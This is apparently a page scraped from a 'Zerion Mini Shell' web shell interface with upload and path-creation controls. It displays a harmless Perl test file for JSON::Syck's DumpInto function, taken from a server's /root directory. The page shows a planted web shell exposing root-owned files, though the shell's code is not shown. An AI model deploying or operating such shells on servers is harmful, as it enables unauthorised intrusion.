%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /root/.cpanm/work/1590825950.14464/YAML-Syck-1.32/t/
Upload File :
Create Path :
Current File : //root/.cpanm/work/1590825950.14464/YAML-Syck-1.32/t/json-dumpinto.t

use Test::More;
use JSON::Syck qw(DumpInto Dump);

plan tests => 7;

sub same {
    my ($data) = @_;
    my $buf;
    DumpInto( \$buf, $data );
    is( $buf, Dump($data) );
}

same(42);    # 1

same( \42 ); # 2

same(undef); # 3

same( { foo => [qw<bar baz>] } );    # 4

{
    my $buf;
    DumpInto( \$buf, 1 );
    is( $buf, Dump(1) );             # 5
    DumpInto( \$buf, 2 );
    is( $buf, ( Dump(1) . Dump(2) ) );    # 6
}

{
    my $buf = "HEWWO ";
    DumpInto( \$buf, 42 );
    is( $buf, ( "HEWWO " . Dump(42) ) );    # 7
}


Zerion Mini Shell 1.0